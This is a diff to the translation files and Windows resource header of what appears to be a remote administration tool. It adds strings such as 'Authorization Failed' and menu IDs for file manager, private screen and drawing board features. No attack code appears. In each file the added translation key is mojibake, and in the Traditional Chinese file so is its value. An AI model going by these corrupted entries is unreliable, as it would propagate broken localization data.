// 启动画面名称 [建议大写,更有 Logo 感] // 启动画面名称 [建议大写,更有 Logo 感]
// 影响:启动画面 Logo 文字(大号艺术字体渲染) // 影响:启动画面 Logo 文字(大号艺术字体渲染)
+1
View File
@@ -1824,6 +1824,7 @@ IOCP
触发类型:=Ausloesertyp: 触发类型:=Ausloesertyp:
执行动作:=Aktion: 执行动作:=Aktion:
主机上线=Host online 主机上线=Host online
ÊÚȨʧ°Ü=Autorisierung fehlgeschlagen
插件名称=Plugin-Name 插件名称=Plugin-Name
触发器=Ausloeser 触发器=Ausloeser
已配置的触发器=Konfigurierte Ausloeser 已配置的触发器=Konfigurierte Ausloeser
+1
View File
@@ -1825,6 +1825,7 @@ IOCP
触发类型:=Trigger Type: 触发类型:=Trigger Type:
执行动作:=Action: 执行动作:=Action:
主机上线=Host Online 主机上线=Host Online
ÊÚȨʧ°Ü=Authorization Failed
插件名称=Plugin Name 插件名称=Plugin Name
触发器=Trigger 触发器=Trigger
已配置的触发器=Configured Triggers 已配置的触发器=Configured Triggers
+1
View File
@@ -1817,6 +1817,7 @@ IOCP
触发类型:=觸發類型: 触发类型:=觸發類型:
执行动作:=執行動作: 执行动作:=執行動作:
主机上线=主機上線 主机上线=主機上線
ハレネィハァーワ=ハレ吭ハァ硲
插件名称=外掛名稱 插件名称=外掛名稱
触发器=觸發器 触发器=觸發器
已配置的触发器=已設定的觸發器 已配置的触发器=已設定的觸發器
Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

+8 -2
View File
@@ -284,6 +284,9 @@
#define IDB_BITMAP_HISTORY_ACTIVITY 398 #define IDB_BITMAP_HISTORY_ACTIVITY 398
#define IDB_BITMAP_VIEW_WND 399 #define IDB_BITMAP_VIEW_WND 399
#define IDB_BITMAP_PROXY_AUTORUN 400 #define IDB_BITMAP_PROXY_AUTORUN 400
#define IDB_BITMAP_FILE_MANAGER 407
#define IDB_BITMAP_PRIVACY_SHIELD 408
#define IDB_BITMAP_DRAWING_BOARD 409
#define IDC_MESSAGE 1000 #define IDC_MESSAGE 1000
#define IDC_ONLINE 1001 #define IDC_ONLINE 1001
#define IDC_STATIC_TIPS 1002 #define IDC_STATIC_TIPS 1002
@@ -1012,6 +1015,9 @@
#define ID_CONNECTION_KILL 33087 #define ID_CONNECTION_KILL 33087
#define ID_CONNECTION_REFRESH 33088 #define ID_CONNECTION_REFRESH 33088
#define ID_TALK_MANAGE 33089 #define ID_TALK_MANAGE 33089
#define ID_EXPERIMENT_FILE_MANAGER 33090
#define ID_EXPERIMENT_PRIVATE_SCREEN 33091
#define ID_EXPERIMENT_DRAWING_BOARD 33092
#define ID_33046 33046 #define ID_33046 33046
#define ID_PROXY_PORT_AUTORUN 33047 #define ID_PROXY_PORT_AUTORUN 33047
#define ID_TRIGGER_SETTINGS 33048 #define ID_TRIGGER_SETTINGS 33048
@@ -1075,8 +1081,8 @@
// //
#ifdef APSTUDIO_INVOKED #ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS #ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 407 #define _APS_NEXT_RESOURCE_VALUE 410
#define _APS_NEXT_COMMAND_VALUE 33090 #define _APS_NEXT_COMMAND_VALUE 33093
#define _APS_NEXT_CONTROL_VALUE 2593 #define _APS_NEXT_CONTROL_VALUE 2593
#define _APS_NEXT_SYMED_VALUE 105 #define _APS_NEXT_SYMED_VALUE 105
#endif #endif